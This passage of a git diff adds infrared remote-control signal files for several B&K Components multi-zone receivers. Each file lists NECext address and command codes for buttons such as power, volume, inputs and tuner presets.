+command: 0B 00 00 00 +# +name: BK024_INPUT_4 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 0D 00 00 00 +# +name: BK024_TUNER_1 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 0E 00 00 00 +# +name: BK024_INPUT_5 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 0F 00 00 00 +# +name: BK024_STATION- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 17 00 00 00 +# +name: BK024_STATION+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 18 00 00 00 +# +name: BK024_TUNE- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 1B 00 00 00 +# +name: BK024_TUNE+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 1C 00 00 00 +# +name: BK024_LEFT +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 1F 00 00 00 +# +name: BK024_RIGHT +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 20 00 00 00 +# +name: BK024_VOLUME- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 23 00 00 00 +# +name: BK024_VOLUME+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 24 00 00 00 +# +name: BK024_NUMBER_+10 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 29 00 00 00 +# +name: BK024_EQ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 2A 00 00 00 +# +name: BK024_DOWN +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 2D 00 00 00 +# +name: BK024_UP +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 2E 00 00 00 +# +name: BK024_ENTER +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 30 00 00 00 +# +name: BK024_NUMBER_1 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 31 00 00 00 +# +name: BK024_NUMBER_2 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 32 00 00 00 +# +name: BK024_NUMBER_3 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 33 00 00 00 +# +name: BK024_NUMBER_4 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 35 00 00 00 +# +name: BK024_NUMBER_5 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 36 00 00 00 +# +name: BK024_NUMBER_6 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 37 00 00 00 +# +name: BK024_NUMBER_7 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 39 00 00 00 +# +name: BK024_NUMBER_8 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 3A 00 00 00 +# +name: BK024_NUMBER_9 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 3B 00 00 00 +# +name: BK024_NUMBER_0 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 3E 00 00 00 +# +name: BK024_SAVE +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 40 00 00 00 +# +name: BK024_TUNER_3 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 44 00 00 00 +# +name: BK024_INPUT_6 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 4A 00 00 00 +# +name: BK024_PRESET+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 4B 00 00 00 +# +name: BK024_D-IN +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 5A 00 00 00 +# +name: BK024_BASS- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 65 00 00 00 +# +name: BK024_SOURCE+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 66 00 00 00 +# +name: BK024_INPUT_9 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 6E 00 00 00 +# +name: BK024_AM +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 76 00 00 00 +# +name: BK024_TREBLE- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 79 00 00 00 +# +name: BK024_VIDEO- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 7A 00 00 00 +# +name: BK024_EXIT +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 7D 00 00 00 +# +name: BK024_TUNER_2 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 84 00 00 00 +# +name: BK024_FM +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 8E 00 00 00 +# +name: BK024_SOURCE- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: A6 00 00 00 +# +name: BK024_SLEEP +type: parsed +protocol: NECext +address: 67 89 00 00 +command: B3 00 00 00 +# +name: BK024_PRESET- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: C6 00 00 00 +# +name: BK024_LOUDNESS +type: parsed +protocol: NECext +address: 67 89 00 00 +command: CF 00 00 00 +# +name: BK024_AUTO_LEVEL +type: parsed +protocol: NECext +address: 67 89 00 00 +command: E4 00 00 00 +# +name: BK024_BASS+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: E5 00 00 00 +# +name: BK024_TREBLE+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: F9 00 00 00 +# +name: BK024_VIDEO+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir new file mode 100644 index 000000000..39e2a52f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: BK031_MUTE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 03 00 00 00 +# +name: BK031_INPUT_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 05 00 00 00 +# +name: BK031_INPUT_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 06 00 00 00 +# +name: BK031_INPUT_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 07 00 00 00 +# +name: BK031_INPUT_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 09 00 00 00 +# +name: BK031_INPUT_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0B 00 00 00 +# +name: BK031_INPUT_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0D 00 00 00 +# +name: BK031_TUNER_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0E 00 00 00 +# +name: BK031_INPUT_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0F 00 00 00 +# +name: BK031_STATION- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 17 00 00 00 +# +name: BK031_STATION+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 18 00 00 00 +# +name: BK031_TUNE- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1B 00 00 00 +# +name: BK031_TUNE+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1C 00 00 00 +# +name: BK031_LEFT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1F 00 00 00 +# +name: BK031_RIGHT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 20 00 00 00 +# +name: BK031_VOLUME- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 23 00 00 00 +# +name: BK031_VOLUME+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 24 00 00 00 +# +name: BK031_NUMBER_+10 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 29 00 00 00 +# +name: BK031_EQ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2A 00 00 00 +# +name: BK031_DOWN +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2D 00 00 00 +# +name: BK031_UP +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2E 00 00 00 +# +name: BK031_ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 30 00 00 00 +# +name: BK031_NUMBER_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 31 00 00 00 +# +name: BK031_NUMBER_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 32 00 00 00 +# +name: BK031_NUMBER_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 33 00 00 00 +# +name: BK031_NUMBER_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 35 00 00 00 +# +name: BK031_NUMBER_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 36 00 00 00 +# +name: BK031_NUMBER_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 37 00 00 00 +# +name: BK031_NUMBER_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 39 00 00 00 +# +name: BK031_NUMBER_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 +# +name: BK031_NUMBER_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3B 00 00 00 +# +name: BK031_NUMBER_0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3E 00 00 00 +# +name: BK031_SAVE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 40 00 00 00 +# +name: BK031_TUNER_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 44 00 00 00 +# +name: BK031_INPUT_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4A 00 00 00 +# +name: BK031_PRESET+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4B 00 00 00 +# +name: BK031_D-IN +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 5A 00 00 00 +# +name: BK031_BASS- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 65 00 00 00 +# +name: BK031_SOURCE+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 66 00 00 00 +# +name: BK031_INPUT_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 6E 00 00 00 +# +name: BK031_AM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 76 00 00 00 +# +name: BK031_TREBLE- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 79 00 00 00 +# +name: BK031_VIDEO- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7A 00 00 00 +# +name: BK031_EXIT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7D 00 00 00 +# +name: BK031_TUNER_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 84 00 00 00 +# +name: BK031_FM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8E 00 00 00 +# +name: BK031_SOURCE- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A6 00 00 00 +# +name: BK031_SLEEP +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B3 00 00 00 +# +name: BK031_PRESET- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C6 00 00 00 +# +name: BK031_LOUDNESS +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CF 00 00 00 +# +name: BK031_AUTO_LEVEL +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E4 00 00 00 +# +name: BK031_BASS+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E5 00 00 00 +# +name: BK031_TREBLE+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F9 00 00 00 +# +name: BK031_VIDEO+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir new file mode 100644 index 000000000..97ec9198d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK015_POWER_OFF +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 01 00 00 00 +# +name: BK015_POWER_ON +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 02 00 00 00 +# +name: BK015_MUTE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 03 00 00 00 +# +name: BK015_INPUT_1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 05 00 00 00 +# +name: BK015_INPUT_3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 06 00 00 00 +# +name: BK015_INPUT_8 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 07 00 00 00 +# +name: BK015_INPUT_2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 09 00 00 00 +# +name: BK015_INPUT_7 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0B 00 00 00 +# +name: BK015_INPUT_4 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0D 00 00 00 +# +name: BK015_TUNER_1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0E 00 00 00 +# +name: BK015_INPUT_5 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 0F 00 00 00 +# +name: BK015_STATION- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 17 00 00 00 +# +name: BK015_STATION+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 18 00 00 00 +# +name: BK015_TUNE- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1B 00 00 00 +# +name: BK015_TUNE+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1C 00 00 00 +# +name: BK015_LEFT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 1F 00 00 00 +# +name: BK015_RIGHT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 20 00 00 00 +# +name: BK015_VOLUME- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 23 00 00 00 +# +name: BK015_VOLUME+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 24 00 00 00 +# +name: BK015_NUMBER_+10 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 29 00 00 00 +# +name: BK015_EQ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2A 00 00 00 +# +name: BK015_DOWN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2D 00 00 00 +# +name: BK015_UP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 2E 00 00 00 +# +name: BK015_ENTER +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 30 00 00 00 +# +name: BK015_NUMBER_1 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 31 00 00 00 +# +name: BK015_NUMBER_2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 32 00 00 00 +# +name: BK015_NUMBER_3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 33 00 00 00 +# +name: BK015_NUMBER_4 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 35 00 00 00 +# +name: BK015_NUMBER_5 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 36 00 00 00 +# +name: BK015_NUMBER_6 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 37 00 00 00 +# +name: BK015_NUMBER_7 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 39 00 00 00 +# +name: BK015_NUMBER_8 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3A 00 00 00 +# +name: BK015_NUMBER_9 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3B 00 00 00 +# +name: BK015_NUMBER_0 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 3E 00 00 00 +# +name: BK015_SAVE +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 40 00 00 00 +# +name: BK015_TUNER_3 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 44 00 00 00 +# +name: BK015_INPUT_6 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 4A 00 00 00 +# +name: BK015_PRESET+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 4B 00 00 00 +# +name: BK015_D-IN +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 5A 00 00 00 +# +name: BK015_BASS- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 65 00 00 00 +# +name: BK015_SOURCE+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 66 00 00 00 +# +name: BK015_INPUT_9 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 6E 00 00 00 +# +name: BK015_AM +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 76 00 00 00 +# +name: BK015_TREBLE- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 79 00 00 00 +# +name: BK015_VIDEO- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 7A 00 00 00 +# +name: BK015_EXIT +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 7D 00 00 00 +# +name: BK015_TUNER_2 +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 84 00 00 00 +# +name: BK015_FM +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: 8E 00 00 00 +# +name: BK015_SOURCE- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: A6 00 00 00 +# +name: BK015_SLEEP +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: B3 00 00 00 +# +name: BK015_PRESET- +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: C6 00 00 00 +# +name: BK015_LOUDNESS +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: CF 00 00 00 +# +name: BK015_AUTO_LEVEL +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: E4 00 00 00 +# +name: BK015_BASS+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: E5 00 00 00 +# +name: BK015_TREBLE+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: F9 00 00 00 +# +name: BK015_VIDEO+ +type: parsed +protocol: NECext +address: 7B 48 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir new file mode 100644 index 000000000..f8f107e7d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK019_POWER_OFF +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 01 00 00 00 +# +name: BK019_POWER_ON +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 02 00 00 00 +# +name: BK019_MUTE +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 03 00 00 00 +# +name: BK019_INPUT_1 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 05 00 00 00 +# +name: BK019_INPUT_3 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 06 00 00 00 +# +name: BK019_INPUT_8 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 07 00 00 00 +# +name: BK019_INPUT_2 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 09 00 00 00 +# +name: BK019_INPUT_7 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0B 00 00 00 +# +name: BK019_INPUT_4 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0D 00 00 00 +# +name: BK019_TUNER_1 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0E 00 00 00 +# +name: BK019_INPUT_5 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 0F 00 00 00 +# +name: BK019_STATION- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 17 00 00 00 +# +name: BK019_STATION+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 18 00 00 00 +# +name: BK019_TUNE- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 1B 00 00 00 +# +name: BK019_TUNE+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 1C 00 00 00 +# +name: BK019_LEFT +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 1F 00 00 00 +# +name: BK019_RIGHT +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 20 00 00 00 +# +name: BK019_VOLUME- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 23 00 00 00 +# +name: BK019_VOLUME+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 24 00 00 00 +# +name: BK019_NUMBER_+10 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 29 00 00 00 +# +name: BK019_EQ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 2A 00 00 00 +# +name: BK019_DOWN +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 2D 00 00 00 +# +name: BK019_UP +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 2E 00 00 00 +# +name: BK019_ENTER +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 30 00 00 00 +# +name: BK019_NUMBER_1 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 31 00 00 00 +# +name: BK019_NUMBER_2 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 32 00 00 00 +# +name: BK019_NUMBER_3 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 33 00 00 00 +# +name: BK019_NUMBER_4 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 35 00 00 00 +# +name: BK019_NUMBER_5 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 36 00 00 00 +# +name: BK019_NUMBER_6 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 37 00 00 00 +# +name: BK019_NUMBER_7 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 39 00 00 00 +# +name: BK019_NUMBER_8 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 3A 00 00 00 +# +name: BK019_NUMBER_9 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 3B 00 00 00 +# +name: BK019_NUMBER_0 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 3E 00 00 00 +# +name: BK019_SAVE +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 40 00 00 00 +# +name: BK019_TUNER_3 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 44 00 00 00 +# +name: BK019_INPUT_6 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 4A 00 00 00 +# +name: BK019_PRESET+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 4B 00 00 00 +# +name: BK019_D-IN +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 5A 00 00 00 +# +name: BK019_BASS- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 65 00 00 00 +# +name: BK019_SOURCE+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 66 00 00 00 +# +name: BK019_INPUT_9 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 6E 00 00 00 +# +name: BK019_AM +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 76 00 00 00 +# +name: BK019_TREBLE- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 79 00 00 00 +# +name: BK019_VIDEO- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 7A 00 00 00 +# +name: BK019_EXIT +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 7D 00 00 00 +# +name: BK019_TUNER_2 +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 84 00 00 00 +# +name: BK019_FM +type: parsed +protocol: NECext +address: 87 87 00 00 +command: 8E 00 00 00 +# +name: BK019_SOURCE- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: A6 00 00 00 +# +name: BK019_SLEEP +type: parsed +protocol: NECext +address: 87 87 00 00 +command: B3 00 00 00 +# +name: BK019_PRESET- +type: parsed +protocol: NECext +address: 87 87 00 00 +command: C6 00 00 00 +# +name: BK019_LOUDNESS +type: parsed +protocol: NECext +address: 87 87 00 00 +command: CF 00 00 00 +# +name: BK019_AUTO_LEVEL +type: parsed +protocol: NECext +address: 87 87 00 00 +command: E4 00 00 00 +# +name: BK019_BASS+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: E5 00 00 00 +# +name: BK019_TREBLE+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: F9 00 00 00 +# +name: BK019_VIDEO+ +type: parsed +protocol: NECext +address: 87 87 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir new file mode 100644 index 000000000..4db53cac6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK035_POWER_OFF +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 01 00 00 00 +# +name: BK035_POWER_ON +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 02 00 00 00 +# +name: BK035_MUTE +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 03 00 00 00 +# +name: BK035_INPUT_1 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 05 00 00 00 +# +name: BK035_INPUT_3 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 06 00 00 00 +# +name: BK035_INPUT_8 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 07 00 00 00 +# +name: BK035_INPUT_2 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 09 00 00 00 +# +name: BK035_INPUT_7 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0B 00 00 00 +# +name: BK035_INPUT_4 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0D 00 00 00 +# +name: BK035_TUNER_1 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0E 00 00 00 +# +name: BK035_INPUT_5 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 0F 00 00 00 +# +name: BK035_STATION- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 17 00 00 00 +# +name: BK035_STATION+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 18 00 00 00 +# +name: BK035_TUNE- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1B 00 00 00 +# +name: BK035_TUNE+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1C 00 00 00 +# +name: BK035_LEFT +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 1F 00 00 00 +# +name: BK035_RIGHT +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 20 00 00 00 +# +name: BK035_VOLUME- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 23 00 00 00 +# +name: BK035_VOLUME+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 24 00 00 00 +# +name: BK035_NUMBER_+10 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 29 00 00 00 +# +name: BK035_EQ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 2A 00 00 00 +# +name: BK035_DOWN +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 2D 00 00 00 +# +name: BK035_UP +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 2E 00 00 00 +# +name: BK035_ENTER +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 30 00 00 00 +# +name: BK035_NUMBER_1 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 31 00 00 00 +# +name: BK035_NUMBER_2 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 32 00 00 00 +# +name: BK035_NUMBER_3 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 33 00 00 00 +# +name: BK035_NUMBER_4 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 35 00 00 00 +# +name: BK035_NUMBER_5 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 36 00 00 00 +# +name: BK035_NUMBER_6 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 37 00 00 00 +# +name: BK035_NUMBER_7 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 39 00 00 00 +# +name: BK035_NUMBER_8 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3A 00 00 00 +# +name: BK035_NUMBER_9 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3B 00 00 00 +# +name: BK035_NUMBER_0 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 3E 00 00 00 +# +name: BK035_SAVE +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 40 00 00 00 +# +name: BK035_TUNER_3 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 44 00 00 00 +# +name: BK035_INPUT_6 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4A 00 00 00 +# +name: BK035_PRESET+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 4B 00 00 00 +# +name: BK035_D-IN +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 5A 00 00 00 +# +name: BK035_BASS- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 65 00 00 00 +# +name: BK035_SOURCE+ +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 66 00 00 00 +# +name: BK035_INPUT_9 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 6E 00 00 00 +# +name: BK035_AM +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 76 00 00 00 +# +name: BK035_TREBLE- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 79 00 00 00 +# +name: BK035_VIDEO- +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 7A 00 00 00 +# +name: BK035_EXIT +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 7D 00 00 00 +# +name: BK035_TUNER_2 +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 84 00 00 00 +# +name: BK035_FM +type: parsed +protocol: NECext +address: 8F 07 00 00 +command: 8E 00 00 00 +# +name: BK035_SOURCE- +type: parsed 